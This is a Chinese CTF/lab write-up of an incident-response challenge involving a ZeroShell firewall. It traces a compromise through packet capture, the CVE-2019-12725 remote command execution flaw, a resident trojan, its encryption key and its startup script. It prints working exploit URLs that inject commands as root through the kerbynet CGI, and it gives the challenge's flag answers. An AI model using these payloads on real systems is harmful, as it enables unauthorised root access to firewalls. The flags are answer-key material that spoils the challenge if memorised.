应急响应——威胁流量分析-zeroshell详细溯源教程
提示:文章写完后,目录可以自动生成,如何生成可参考右边的帮助文档
文章目录
- 靶场背景
- 题目列表
- 部署文档
- 应急溯源
- 分析流量包
- 利用Zeroshell的RCE漏洞
- 溯源受控机防火墙设备中驻留木马的外联域名或IP地址
- 找出木马进程执行的本体文件的名称
- (1)直接搜索近期生成的可执行文件
- (2)抓取包含 IP 字符串的进程文件
- 提取驻留的木马本体文件,通过逆向分析找出木马样本通信使用的加密密钥
- 写出驻留木马的启动项,注意写出启动文件的完整路径
- 总结
靶场背景
小路是一名实习生,接替公司前任网管的工作,一天发现公司网络出口出现了异常的通信,现需要通过回溯出口流量对异常点位 (防火墙) 进行定位,并确定异常的设备。然后进行深度取证检查(需要获取 root 权限)。现在需要你从网络攻击数据包中找出漏洞攻击的会话,分析会话编写 exp 或数据包重放获取防火墙设备管理员权限,查找防火墙设备上安装的木马,然后分析木马外联地址和通信密钥以及木马启动项位置。
文件名:2e9c01da1d333cb8840968689ed3bc57.7z
文件大小:270.1m
- 下载链接1:https://pan.baidu.com/s/1N58ui-5Ll4Zk7Ys4SUGFvw 提取码:GAME
- 下载链接2:https://drive.google.com/file/d/19VKjCBaF_X2VvexHGwS__TRhnS39njVT/view
- 解压密码:11b0526b-9cfb-4ac4-8a75-10ad9097b7ce
下载完,文件如图:流量包可以帮助我们进行溯源攻击路径
来源:长城杯&CISCN官网
题目列表
1. 从数据包中找出攻击者利用漏洞开展攻击的会话(攻击者执行了一条命令),写出该会话中设置的flag, 结果提交形式:flag{xxxxxxxxx}2. 通过漏洞利用获取设备控制权限,然后查找设备上的flag文件,提取flag文件内容,结果提交形式:flag{xxxxxxxxxx}3. 找出受控机防火墙设备中驻留木马的外联域名或IP地址,结果提交形式:flag{xxxx},如flag{www.abc.com}或 flag{16.122.33.44}4. 请写出木马进程执行的本体文件的名称,结果提交形式:flag{xxxxx},仅写文件名不加路径5. 请提取驻留的木马本体文件,通过逆向分析找出木马样本通信使用的加密密钥,结果提交形式:flag{xxxx}6. 请写出驻留木马的启动项,注意写出启动文件的完整路径。结果提交形式:flag{xxxx},如flag{/a/b/c}部署文档
(1)环境安装:解压环境zeroshell.7z,使用vmware17或以上版本加载zeroshell虚拟机
(2)配置网络:打开虚拟网络编辑器
选择VMnet8 Net模式网卡,选择更改配置:
选择VMnet8 网络,修改子网IP为61.139.2.0,再点击应用和确定
(3)启动虚拟机,等虚拟机启动完成后,浏览器打开http://61.139.2.100 即可访问zeroshell防火墙环境
话不多说,我们直接开始溯源过程;
应急溯源
这里我们打开靶场后,界面如下:
这里尝试进入系统是不可行的(因为关卡就是这样设计的),所以我们可以按N键查看当前机器的IP地址:
从截图可以看到,输入了查看网卡信息的命令,系统展示了当前 Zeroshell 靶机配置的两个主要网络接口:
ETH00(物理网卡)- IP 地址:
61.139.2.100(子网掩码/24即255.255.255.0) - 广播地址:
61.139.2.255 - 分析:这个
61.139.2.100通常就是该系统的外网 IP或者模拟的业务公网 IP。在做流量分析(如 Wireshark 分析 PCAP 包)时,如果发现有外部恶意 IP 大量往这个 IP 的特定端口(如 80、443 端口)发送请求,那就是攻击流量。
(如果不了解这种方法)我们也可以用Nmap来进行查找:
nmap-sP61.139.2.0/24一样可以得到结果:
随后我们打开网址:http://61.139.2.100/,进入到防火墙的页面:
接下来我们需要做什么?
- 是不是忘了我们还有一个
流量包?
分析流量包
打开流量包,我们首先可以关注到几个访问频率较高的IP地址:
从题目的“攻击者利用漏洞开展攻击的会话(攻击者执行了一条命令)”:
- 我们可以猜测攻击者应该是利用率
zeroshell系统的RCE漏洞获取了机器权限,从而执行了恶意命令:
所以我们可以搜索一下关键词:system、exec、shell_exec或passthru等
所以过滤命令如下:
http contains"exec"得到了结果:
我们直接查找最特别的那一条GET请求:
GET /cgi-bin/kerbynet?Action=x509view&Section=NoAuthREQ&User=&x509type='%0A/etc/sudo%20tar%20-cf%20/dev/null%20/dev/null%20--checkpoint=1%20--checkpoint-action=exec='ps%20-ef'%0A'HTTP/1.1小插曲:refer头解码就是flag,不过我们的重点不在于flag,所以我们继续溯源;
flag{6C2E38DA-D8E4-8D84-4A4F-E2ABD07A1F3A}通过URL解码,我们可以看到攻击者通过RCE漏洞,执行力ps -ef命令来查看当前机器的进程以及资源利用情况:
不过我们也可以通过URL反推,来判断系统的存在哪一个漏洞:
利用Zeroshell的RCE漏洞
这是ZeroShell(一款开源 Linux 防火墙/路由器系统)的严重远程命令执行漏洞(CVE-2019-12725)。
这个 Payload 主要分两步实现攻击:
首先,通过 web 接口的
Section=NoAuthREQ参数绕过登录认证,并利用未过滤的x509type参数注入命令。
其次,注入的命令利用了 Linux 中已知的tar命令提权技巧(结合sudo),强制系统以最高权限(root)直接执行ps -ef(查看系统进程)命令。简单来说,这是一个免密直接获取系统最高控制权的攻击代码。由于 ZeroShell 项目已在 2021 年停更,运行该系统的设备面临永久性的高危风险。
不过这里我们也有一个问题:因为没有密码,所以我们也无法进入机器进行溯源(所以之恶能充当一次“攻击者”进入机器进行溯源了…)
这里找到一个payload:
- 项目链接:CVE-2019-12725
- 工具使用:
python CVE-2019-12725.py-uhttp://127.0.0.1:1111 单个url测试 python CVE-2019-12725.py-chttp://127.0.0.1:1111 cmdshell模式下载后,执行代码:
顺手找一下flag文件:find / -name flag* 2>/dev/null
发现了两个疑似存在的文件夹,分别进行查看:
结果一样;
flag{c6045425-6e6e-41d0-be09-95682a4f65c4}溯源受控机防火墙设备中驻留木马的外联域名或IP地址
根据题目所说,我们可以合理猜测“攻击者应该是上传了某个恶意程序,从而外连到攻击者IP上“,所以我们可以先对进程进行排查:netstat -ano
可以看到,在众多本地地址里,这个202.115.89.103:8080是如此的显眼;
找出木马进程执行的本体文件的名称
随后尝试寻找该可疑地址的对应进程:netstat -anp | grep "202.115.89.103",但是并没有找到;
所以这里我们换个思路,查找它的PID:netstat -antp
原本正常情况下这里是会显示对应进程的PID:
(网上WP)
补充知识:在linux每个运行中的进程在/proc下都有一个对应的目录,名称为进程ID。这些目录包含了多个文件和子目录,记录了进程的状态、资源使用等信息
cmdline的文件:该文件包含了启动该进程时所使用的命令行参数
cwd:一个符号链接,指向进程的当前工作目录。
exe:一个符号链接,指向启动进程的可执行文件的绝对路径。
environ:包含了进程的环境变量。
fd:一个目录,包含了进程打开的所有文件的符号链接。所以可以使用命令进行排查:
- ls -l /proc/10651/(查看详细信息)
没有也行,那我就一个个找。。。
(1)直接搜索近期生成的可执行文件
通过漏洞上传的木马,通常会藏在 /tmp、/var/tmp 或 /dev/shm 等可写目录下。
输入以下命令,寻找最近 1-2 天内被修改或执行的文件:
find/tmp /var/tmp /dev/shm-typef-executable(2)抓取包含 IP 字符串的进程文件
如果木马是个脚本(Python/Shell)或者它的二进制源码里硬编码了攻击者的 IP,我们可以直接在内存或进程参数里搜索这个 IP:
ps-ef|grep-E"202.115|python|perl|sh|nc"得到了几百条结果,但这里我推荐先排查“隐藏文件”
在经过一番寻找,发现了可疑文件的位置:/tmp/.nginx
随后进入目录查看对应文件.rnd,发现还是个数据文件,打开是乱码;
虽然扔进GPT里进行分析:
kerbynet -> /root/kerbynet.cgi/kerbynet本质:这是一个软链接(快捷方式),指向了
/root/kerbynet.cgi/kerbynet。作用:ZeroShell 防火墙后台的核心 Web 程序就叫
kerbynet(基于 CGI 编写)。系统将它链接到/tmp/.nginx下,是为了让前端的 Web 服务器(如 Nginx/Apache)能够正常调用并执行后台管理逻辑。也就是你之前利用漏洞时访问的/cgi-bin/kerbynet背后真正对应的程序。.rnd本质:这是OpenSSL 生成的随机数种子文件(Random Seed File)。
作用:用于设备生成 SSL/TLS 证书(例如 HTTPS 访问、VPN 密钥、X509 证书)时提供安全的随机性。
提取驻留的木马本体文件,通过逆向分析找出木马样本通信使用的加密密钥
我们已经找到了木马文件.nginx,直接cat就是文件的ascii,不好提取;所以我们需要先将其下载下来:
wget-Ofile"http://61.139.2.100/cgi-bin/kerbynet?Action=x509view&Section=NoAuthREQ&User=&x509type=%0A/etc/sudo%20tar%20-cf%20/dev/null%20/dev/null%20--checkpoint=1%20--checkpoint-action=exec='cat%20/tmp/.nginx'%0A"拖入IDA找密钥,搜关键字没有匹配的,但有几个字符串是比较可疑的。寻找反联ip地址:
这里看了网上的WP,确定这个应该是密钥,flag{11223344qweasdzxc}
写出驻留木马的启动项,注意写出启动文件的完整路径
这里我们可以先看看机器的变量环境:
envexport这两个均可返回结果:
随后查看具体内容结果:
cat/var/register/system/startup/scripts/nat/File所以最终结果为:
flag{/var/register/system/startup/scripts/nat/File}
总结
本文针对 ZeroShell 严重命令执行漏洞(CVE-2019-12725)引发的后门驻留事件展开应急响应实务分析。通过对防火墙受控机网络连接、异常进程以及持久化配置的系统性排查,详细演示了如何通过行为关联与逆向手段精准溯源外联木马本体,并定位其在 Linux 系统中的底层启动项。文章侧重于实战命令的运用与防御转化,为读者提供规范化的网络安全事件闭环处置指南。
